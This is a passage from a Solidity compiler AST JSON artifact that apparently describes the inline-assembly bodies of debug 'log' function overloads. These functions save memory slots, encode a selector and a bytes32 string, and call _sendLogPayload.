ing","nativeSrc":"336951:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"336972:3:22","nodeType":"YulTypedName","src":"336972:3:22","type":""},{"name":"w","nativeSrc":"336977:1:22","nodeType":"YulTypedName","src":"336977:1:22","type":""}],"src":"336951:342:22"},{"nativeSrc":"337306:17:22","nodeType":"YulAssignment","src":"337306:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337318:4:22","nodeType":"YulLiteral","src":"337318:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"337312:5:22","nodeType":"YulIdentifier","src":"337312:5:22"},"nativeSrc":"337312:11:22","nodeType":"YulFunctionCall","src":"337312:11:22"},"variableNames":[{"name":"m0","nativeSrc":"337306:2:22","nodeType":"YulIdentifier","src":"337306:2:22"}]},{"nativeSrc":"337336:17:22","nodeType":"YulAssignment","src":"337336:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337348:4:22","nodeType":"YulLiteral","src":"337348:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"337342:5:22","nodeType":"YulIdentifier","src":"337342:5:22"},"nativeSrc":"337342:11:22","nodeType":"YulFunctionCall","src":"337342:11:22"},"variableNames":[{"name":"m1","nativeSrc":"337336:2:22","nodeType":"YulIdentifier","src":"337336:2:22"}]},{"nativeSrc":"337366:17:22","nodeType":"YulAssignment","src":"337366:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337378:4:22","nodeType":"YulLiteral","src":"337378:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"337372:5:22","nodeType":"YulIdentifier","src":"337372:5:22"},"nativeSrc":"337372:11:22","nodeType":"YulFunctionCall","src":"337372:11:22"},"variableNames":[{"name":"m2","nativeSrc":"337366:2:22","nodeType":"YulIdentifier","src":"337366:2:22"}]},{"nativeSrc":"337396:17:22","nodeType":"YulAssignment","src":"337396:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337408:4:22","nodeType":"YulLiteral","src":"337408:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"337402:5:22","nodeType":"YulIdentifier","src":"337402:5:22"},"nativeSrc":"337402:11:22","nodeType":"YulFunctionCall","src":"337402:11:22"},"variableNames":[{"name":"m3","nativeSrc":"337396:2:22","nodeType":"YulIdentifier","src":"337396:2:22"}]},{"nativeSrc":"337426:17:22","nodeType":"YulAssignment","src":"337426:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337438:4:22","nodeType":"YulLiteral","src":"337438:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"337432:5:22","nodeType":"YulIdentifier","src":"337432:5:22"},"nativeSrc":"337432:11:22","nodeType":"YulFunctionCall","src":"337432:11:22"},"variableNames":[{"name":"m4","nativeSrc":"337426:2:22","nodeType":"YulIdentifier","src":"337426:2:22"}]},{"nativeSrc":"337456:17:22","nodeType":"YulAssignment","src":"337456:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337468:4:22","nodeType":"YulLiteral","src":"337468:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"337462:5:22","nodeType":"YulIdentifier","src":"337462:5:22"},"nativeSrc":"337462:11:22","nodeType":"YulFunctionCall","src":"337462:11:22"},"variableNames":[{"name":"m5","nativeSrc":"337456:2:22","nodeType":"YulIdentifier","src":"337456:2:22"}]},{"nativeSrc":"337486:17:22","nodeType":"YulAssignment","src":"337486:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"337498:4:22","nodeType":"YulLiteral","src":"337498:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"337492:5:22","nodeType":"YulIdentifier","src":"337492:5:22"},"nativeSrc":"337492:11:22","nodeType":"YulFunctionCall","src":"337492:11:22"},"variableNames":[{"name":"m6","nativeSrc":"337486:2:22","nodeType":"YulIdentifier","src":"337486:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337586:4:22","nodeType":"YulLiteral","src":"337586:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"337592:10:22","nodeType":"YulLiteral","src":"337592:10:22","type":"","value":"0x935e09bf"}],"functionName":{"name":"mstore","nativeSrc":"337579:6:22","nodeType":"YulIdentifier","src":"337579:6:22"},"nativeSrc":"337579:24:22","nodeType":"YulFunctionCall","src":"337579:24:22"},"nativeSrc":"337579:24:22","nodeType":"YulExpressionStatement","src":"337579:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337623:4:22","nodeType":"YulLiteral","src":"337623:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"337629:4:22","nodeType":"YulLiteral","src":"337629:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"337616:6:22","nodeType":"YulIdentifier","src":"337616:6:22"},"nativeSrc":"337616:18:22","nodeType":"YulFunctionCall","src":"337616:18:22"},"nativeSrc":"337616:18:22","nodeType":"YulExpressionStatement","src":"337616:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337654:4:22","nodeType":"YulLiteral","src":"337654:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"337660:2:22","nodeType":"YulIdentifier","src":"337660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337647:6:22","nodeType":"YulIdentifier","src":"337647:6:22"},"nativeSrc":"337647:16:22","nodeType":"YulFunctionCall","src":"337647:16:22"},"nativeSrc":"337647:16:22","nodeType":"YulExpressionStatement","src":"337647:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337683:4:22","nodeType":"YulLiteral","src":"337683:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"337689:2:22","nodeType":"YulIdentifier","src":"337689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337676:6:22","nodeType":"YulIdentifier","src":"337676:6:22"},"nativeSrc":"337676:16:22","nodeType":"YulFunctionCall","src":"337676:16:22"},"nativeSrc":"337676:16:22","nodeType":"YulExpressionStatement","src":"337676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337712:4:22","nodeType":"YulLiteral","src":"337712:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"337718:2:22","nodeType":"YulIdentifier","src":"337718:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337705:6:22","nodeType":"YulIdentifier","src":"337705:6:22"},"nativeSrc":"337705:16:22","nodeType":"YulFunctionCall","src":"337705:16:22"},"nativeSrc":"337705:16:22","nodeType":"YulExpressionStatement","src":"337705:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337746:4:22","nodeType":"YulLiteral","src":"337746:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"337752:2:22","nodeType":"YulIdentifier","src":"337752:2:22"}],"functionName":{"name":"writeString","nativeSrc":"337734:11:22","nodeType":"YulIdentifier","src":"337734:11:22"},"nativeSrc":"337734:21:22","nodeType":"YulFunctionCall","src":"337734:21:22"},"nativeSrc":"337734:21:22","nodeType":"YulExpressionStatement","src":"337734:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44770,"isOffset":false,"isSlot":false,"src":"337306:2:22","valueSize":1},{"declaration":44773,"isOffset":false,"isSlot":false,"src":"337336:2:22","valueSize":1},{"declaration":44776,"isOffset":false,"isSlot":false,"src":"337366:2:22","valueSize":1},{"declaration":44779,"isOffset":false,"isSlot":false,"src":"337396:2:22","valueSize":1},{"declaration":44782,"isOffset":false,"isSlot":false,"src":"337426:2:22","valueSize":1},{"declaration":44785,"isOffset":false,"isSlot":false,"src":"337456:2:22","valueSize":1},{"declaration":44788,"isOffset":false,"isSlot":false,"src":"337486:2:22","valueSize":1},{"declaration":44760,"isOffset":false,"isSlot":false,"src":"337752:2:22","valueSize":1},{"declaration":44762,"isOffset":false,"isSlot":false,"src":"337660:2:22","valueSize":1},{"declaration":44764,"isOffset":false,"isSlot":false,"src":"337689:2:22","valueSize":1},{"declaration":44766,"isOffset":false,"isSlot":false,"src":"337718:2:22","valueSize":1}],"id":44790,"nodeType":"InlineAssembly","src":"336928:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44792,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"337790:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"337796:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44791,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"337774:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"337774:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44795,"nodeType":"ExpressionStatement","src":"337774:27:22"},{"AST":{"nativeSrc":"337820:214:22","nodeType":"YulBlock","src":"337820:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"337841:4:22","nodeType":"YulLiteral","src":"337841:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"337847:2:22","nodeType":"YulIdentifier","src":"337847:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337834:6:22","nodeType":"YulIdentifier","src":"337834:6:22"},"nativeSrc":"337834:16:22","nodeType":"YulFunctionCall","src":"337834:16:22"},"nativeSrc":"337834:16:22","nodeType":"YulExpressionStatement","src":"337834:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337870:4:22","nodeType":"YulLiteral","src":"337870:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"337876:2:22","nodeType":"YulIdentifier","src":"337876:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337863:6:22","nodeType":"YulIdentifier","src":"337863:6:22"},"nativeSrc":"337863:16:22","nodeType":"YulFunctionCall","src":"337863:16:22"},"nativeSrc":"337863:16:22","nodeType":"YulExpressionStatement","src":"337863:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337899:4:22","nodeType":"YulLiteral","src":"337899:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"337905:2:22","nodeType":"YulIdentifier","src":"337905:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337892:6:22","nodeType":"YulIdentifier","src":"337892:6:22"},"nativeSrc":"337892:16:22","nodeType":"YulFunctionCall","src":"337892:16:22"},"nativeSrc":"337892:16:22","nodeType":"YulExpressionStatement","src":"337892:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337928:4:22","nodeType":"YulLiteral","src":"337928:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"337934:2:22","nodeType":"YulIdentifier","src":"337934:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337921:6:22","nodeType":"YulIdentifier","src":"337921:6:22"},"nativeSrc":"337921:16:22","nodeType":"YulFunctionCall","src":"337921:16:22"},"nativeSrc":"337921:16:22","nodeType":"YulExpressionStatement","src":"337921:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337957:4:22","nodeType":"YulLiteral","src":"337957:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"337963:2:22","nodeType":"YulIdentifier","src":"337963:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337950:6:22","nodeType":"YulIdentifier","src":"337950:6:22"},"nativeSrc":"337950:16:22","nodeType":"YulFunctionCall","src":"337950:16:22"},"nativeSrc":"337950:16:22","nodeType":"YulExpressionStatement","src":"337950:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"337986:4:22","nodeType":"YulLiteral","src":"337986:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"337992:2:22","nodeType":"YulIdentifier","src":"337992:2:22"}],"functionName":{"name":"mstore","nativeSrc":"337979:6:22","nodeType":"YulIdentifier","src":"337979:6:22"},"nativeSrc":"337979:16:22","nodeType":"YulFunctionCall","src":"337979:16:22"},"nativeSrc":"337979:16:22","nodeType":"YulExpressionStatement","src":"337979:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"338015:4:22","nodeType":"YulLiteral","src":"338015:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"338021:2:22","nodeType":"YulIdentifier","src":"338021:2:22"}],"functionName":{"name":"mstore","nativeSrc":"338008:6:22","nodeType":"YulIdentifier","src":"338008:6:22"},"nativeSrc":"338008:16:22","nodeType":"YulFunctionCall","src":"338008:16:22"},"nativeSrc":"338008:16:22","nodeType":"YulExpressionStatement","src":"338008:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44770,"isOffset":false,"isSlot":false,"src":"337847:2:22","valueSize":1},{"declaration":44773,"isOffset":false,"isSlot":false,"src":"337876:2:22","valueSize":1},{"declaration":44776,"isOffset":false,"isSlot":false,"src":"337905:2:22","valueSize":1},{"declaration":44779,"isOffset":false,"isSlot":false,"src":"337934:2:22","valueSize":1},{"declaration":44782,"isOffset":false,"isSlot":false,"src":"337963:2:22","valueSize":1},{"declaration":44785,"isOffset":false,"isSlot":false,"src":"337992:2:22","valueSize":1},{"declaration":44788,"isOffset":false,"isSlot":false,"src":"338021:2:22","valueSize":1}],"id":44796,"nodeType":"InlineAssembly","src":"337811:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"336715:3:22","parameters":{"id":44767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44760,"mutability":"mutable","name":"p0","nameLocation":"336727:2:22","nodeType":"VariableDeclaration","scope":44798,"src":"336719:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"336719:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44762,"mutability":"mutable","name":"p1","nameLocation":"336736:2:22","nodeType":"VariableDeclaration","scope":44798,"src":"336731:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44761,"name":"bool","nodeType":"ElementaryTypeName","src":"336731:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44764,"mutability":"mutable","name":"p2","nameLocation":"336748:2:22","nodeType":"VariableDeclaration","scope":44798,"src":"336740:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44763,"name":"uint256","nodeType":"ElementaryTypeName","src":"336740:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44766,"mutability":"mutable","name":"p3","nameLocation":"336760:2:22","nodeType":"VariableDeclaration","scope":44798,"src":"336752:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44765,"name":"address","nodeType":"ElementaryTypeName","src":"336752:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"336718:45:22"},"returnParameters":{"id":44768,"nodeType":"ParameterList","parameters":[],"src":"336778:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44838,"nodeType":"FunctionDefinition","src":"338046:1328:22","nodes":[],"body":{"id":44837,"nodeType":"Block","src":"338115:1259:22","nodes":[],"statements":[{"assignments":[44810],"declarations":[{"constant":false,"id":44810,"mutability":"mutable","name":"m0","nameLocation":"338133:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338125:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44809,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338125:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44811,"nodeType":"VariableDeclarationStatement","src":"338125:10:22"},{"assignments":[44813],"declarations":[{"constant":false,"id":44813,"mutability":"mutable","name":"m1","nameLocation":"338153:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338145:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44812,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338145:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44814,"nodeType":"VariableDeclarationStatement","src":"338145:10:22"},{"assignments":[44816],"declarations":[{"constant":false,"id":44816,"mutability":"mutable","name":"m2","nameLocation":"338173:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338165:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44815,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338165:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44817,"nodeType":"VariableDeclarationStatement","src":"338165:10:22"},{"assignments":[44819],"declarations":[{"constant":false,"id":44819,"mutability":"mutable","name":"m3","nameLocation":"338193:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338185:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44818,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338185:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44820,"nodeType":"VariableDeclarationStatement","src":"338185:10:22"},{"assignments":[44822],"declarations":[{"constant":false,"id":44822,"mutability":"mutable","name":"m4","nameLocation":"338213:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338205:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44821,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338205:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44823,"nodeType":"VariableDeclarationStatement","src":"338205:10:22"},{"assignments":[44825],"declarations":[{"constant":false,"id":44825,"mutability":"mutable","name":"m5","nameLocation":"338233:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338225:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44824,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338225:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44826,"nodeType":"VariableDeclarationStatement","src":"338225:10:22"},{"assignments":[44828],"declarations":[{"constant":false,"id":44828,"mutability":"mutable","name":"m6","nameLocation":"338253:2:22","nodeType":"VariableDeclaration","scope":44837,"src":"338245:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44827,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338245:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44829,"nodeType":"VariableDeclarationStatement","src":"338245:10:22"},{"AST":{"nativeSrc":"338274:825:22","nodeType":"YulBlock","src":"338274:825:22","statements":[{"body":{"nativeSrc":"338317:313:22","nodeType":"YulBlock","src":"338317:313:22","statements":[{"nativeSrc":"338335:15:22","nodeType":"YulVariableDeclaration","src":"338335:15:22","value":{"kind":"number","nativeSrc":"338349:1:22","nodeType":"YulLiteral","src":"338349:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"338339:6:22","nodeType":"YulTypedName","src":"338339:6:22","type":""}]},{"body":{"nativeSrc":"338420:40:22","nodeType":"YulBlock","src":"338420:40:22","statements":[{"body":{"nativeSrc":"338449:9:22","nodeType":"YulBlock","src":"338449:9:22","statements":[{"nativeSrc":"338451:5:22","nodeType":"YulBreak","src":"338451:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"338437:6:22","nodeType":"YulIdentifier","src":"338437:6:22"},{"name":"w","nativeSrc":"338445:1:22","nodeType":"YulIdentifier","src":"338445:1:22"}],"functionName":{"name":"byte","nativeSrc":"338432:4:22","nodeType":"YulIdentifier","src":"338432:4:22"},"nativeSrc":"338432:15:22","nodeType":"YulFunctionCall","src":"338432:15:22"}],"functionName":{"name":"iszero","nativeSrc":"338425:6:22","nodeType":"YulIdentifier","src":"338425:6:22"},"nativeSrc":"338425:23:22","nodeType":"YulFunctionCall","src":"338425:23:22"},"nativeSrc":"338422:36:22","nodeType":"YulIf","src":"338422:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"338377:6:22","nodeType":"YulIdentifier","src":"338377:6:22"},{"kind":"number","nativeSrc":"338385:4:22","nodeType":"YulLiteral","src":"338385:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"338374:2:22","nodeType":"YulIdentifier","src":"338374:2:22"},"nativeSrc":"338374:16:22","nodeType":"YulFunctionCall","src":"338374:16:22"},"nativeSrc":"338367:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"338391:28:22","nodeType":"YulBlock","src":"338391:28:22","statements":[{"nativeSrc":"338393:24:22","nodeType":"YulAssignment","src":"338393:24:22","value":{"arguments":[{"name":"length","nativeSrc":"338407:6:22","nodeType":"YulIdentifier","src":"338407:6:22"},{"kind":"number","nativeSrc":"338415:1:22","nodeType":"YulLiteral","src":"338415:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"338403:3:22","nodeType":"YulIdentifier","src":"338403:3:22"},"nativeSrc":"338403:14:22","nodeType":"YulFunctionCall","src":"338403:14:22"},"variableNames":[{"name":"length","nativeSrc":"338393:6:22","nodeType":"YulIdentifier","src":"338393:6:22"}]}]},"pre":{"nativeSrc":"338371:2:22","nodeType":"YulBlock","src":"338371:2:22","statements":[]},"src":"338367:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"338484:3:22","nodeType":"YulIdentifier","src":"338484:3:22"},{"name":"length","nativeSrc":"338489:6:22","nodeType":"YulIdentifier","src":"338489:6:22"}],"functionName":{"name":"mstore","nativeSrc":"338477:6:22","nodeType":"YulIdentifier","src":"338477:6:22"},"nativeSrc":"338477:19:22","nodeType":"YulFunctionCall","src":"338477:19:22"},"nativeSrc":"338477:19:22","nodeType":"YulExpressionStatement","src":"338477:19:22"},{"nativeSrc":"338513:37:22","nodeType":"YulVariableDeclaration","src":"338513:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"338530:3:22","nodeType":"YulLiteral","src":"338530:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"338539:1:22","nodeType":"YulLiteral","src":"338539:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"338542:6:22","nodeType":"YulIdentifier","src":"338542:6:22"}],"functionName":{"name":"shl","nativeSrc":"338535:3:22","nodeType":"YulIdentifier","src":"338535:3:22"},"nativeSrc":"338535:14:22","nodeType":"YulFunctionCall","src":"338535:14:22"}],"functionName":{"name":"sub","nativeSrc":"338526:3:22","nodeType":"YulIdentifier","src":"338526:3:22"},"nativeSrc":"338526:24:22","nodeType":"YulFunctionCall","src":"338526:24:22"},"variables":[{"name":"shift","nativeSrc":"338517:5:22","nodeType":"YulTypedName","src":"338517:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"338578:3:22","nodeType":"YulIdentifier","src":"338578:3:22"},{"kind":"number","nativeSrc":"338583:4:22","nodeType":"YulLiteral","src":"338583:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"338574:3:22","nodeType":"YulIdentifier","src":"338574:3:22"},"nativeSrc":"338574:14:22","nodeType":"YulFunctionCall","src":"338574:14:22"},{"arguments":[{"name":"shift","nativeSrc":"338594:5:22","nodeType":"YulIdentifier","src":"338594:5:22"},{"arguments":[{"name":"shift","nativeSrc":"338605:5:22","nodeType":"YulIdentifier","src":"338605:5:22"},{"name":"w","nativeSrc":"338612:1:22","nodeType":"YulIdentifier","src":"338612:1:22"}],"functionName":{"name":"shr","nativeSrc":"338601:3:22","nodeType":"YulIdentifier","src":"338601:3:22"},"nativeSrc":"338601:13:22","nodeType":"YulFunctionCall","src":"338601:13:22"}],"functionName":{"name":"shl","nativeSrc":"338590:3:22","nodeType":"YulIdentifier","src":"338590:3:22"},"nativeSrc":"338590:25:22","nodeType":"YulFunctionCall","src":"338590:25:22"}],"functionName":{"name":"mstore","nativeSrc":"338567:6:22","nodeType":"YulIdentifier","src":"338567:6:22"},"nativeSrc":"338567:49:22","nodeType":"YulFunctionCall","src":"338567:49:22"},"nativeSrc":"338567:49:22","nodeType":"YulExpressionStatement","src":"338567:49:22"}]},"name":"writeString","nativeSrc":"338288:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"338309:3:22","nodeType":"YulTypedName","src":"338309:3:22","type":""},{"name":"w","nativeSrc":"338314:1:22","nodeType":"YulTypedName","src":"338314:1:22","type":""}],"src":"338288:342:22"},{"nativeSrc":"338643:17:22","nodeType":"YulAssignment","src":"338643:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338655:4:22","nodeType":"YulLiteral","src":"338655:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"338649:5:22","nodeType":"YulIdentifier","src":"338649:5:22"},"nativeSrc":"338649:11:22","nodeType":"YulFunctionCall","src":"338649:11:22"},"variableNames":[{"name":"m0","nativeSrc":"338643:2:22","nodeType":"YulIdentifier","src":"338643:2:22"}]},{"nativeSrc":"338673:17:22","nodeType":"YulAssignment","src":"338673:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338685:4:22","nodeType":"YulLiteral","src":"338685:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"338679:5:22","nodeType":"YulIdentifier","src":"338679:5:22"},"nativeSrc":"338679:11:22","nodeType":"YulFunctionCall","src":"338679:11:22"},"variableNames":[{"name":"m1","nativeSrc":"338673:2:22","nodeType":"YulIdentifier","src":"338673:2:22"}]},{"nativeSrc":"338703:17:22","nodeType":"YulAssignment","src":"338703:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338715:4:22","nodeType":"YulLiteral","src":"338715:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"338709:5:22","nodeType":"YulIdentifier","src":"338709:5:22"},"nativeSrc":"338709:11:22","nodeType":"YulFunctionCall","src":"338709:11:22"},"variableNames":[{"name":"m2","nativeSrc":"338703:2:22","nodeType":"YulIdentifier","src":"338703:2:22"}]},{"nativeSrc":"338733:17:22","nodeType":"YulAssignment","src":"338733:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338745:4:22","nodeType":"YulLiteral","src":"338745:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"338739:5:22","nodeType":"YulIdentifier","src":"338739:5:22"},"nativeSrc":"338739:11:22","nodeType":"YulFunctionCall","src":"338739:11:22"},"variableNames":[{"name":"m3","nativeSrc":"338733:2:22","nodeType":"YulIdentifier","src":"338733:2:22"}]},{"nativeSrc":"338763:17:22","nodeType":"YulAssignment","src":"338763:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338775:4:22","nodeType":"YulLiteral","src":"338775:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"338769:5:22","nodeType":"YulIdentifier","src":"338769:5:22"},"nativeSrc":"338769:11:22","nodeType":"YulFunctionCall","src":"338769:11:22"},"variableNames":[{"name":"m4","nativeSrc":"338763:2:22","nodeType":"YulIdentifier","src":"338763:2:22"}]},{"nativeSrc":"338793:17:22","nodeType":"YulAssignment","src":"338793:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338805:4:22","nodeType":"YulLiteral","src":"338805:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"338799:5:22","nodeType":"YulIdentifier","src":"338799:5:22"},"nativeSrc":"338799:11:22","nodeType":"YulFunctionCall","src":"338799:11:22"},"variableNames":[{"name":"m5","nativeSrc":"338793:2:22","nodeType":"YulIdentifier","src":"338793:2:22"}]},{"nativeSrc":"338823:17:22","nodeType":"YulAssignment","src":"338823:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"338835:4:22","nodeType":"YulLiteral","src":"338835:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"338829:5:22","nodeType":"YulIdentifier","src":"338829:5:22"},"nativeSrc":"338829:11:22","nodeType":"YulFunctionCall","src":"338829:11:22"},"variableNames":[{"name":"m6","nativeSrc":"338823:2:22","nodeType":"YulIdentifier","src":"338823:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"338920:4:22","nodeType":"YulLiteral","src":"338920:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"338926:10:22","nodeType":"YulLiteral","src":"338926:10:22","type":"","value":"0x8af7cf8a"}],"functionName":{"name":"mstore","nativeSrc":"338913:6:22","nodeType":"YulIdentifier","src":"338913:6:22"},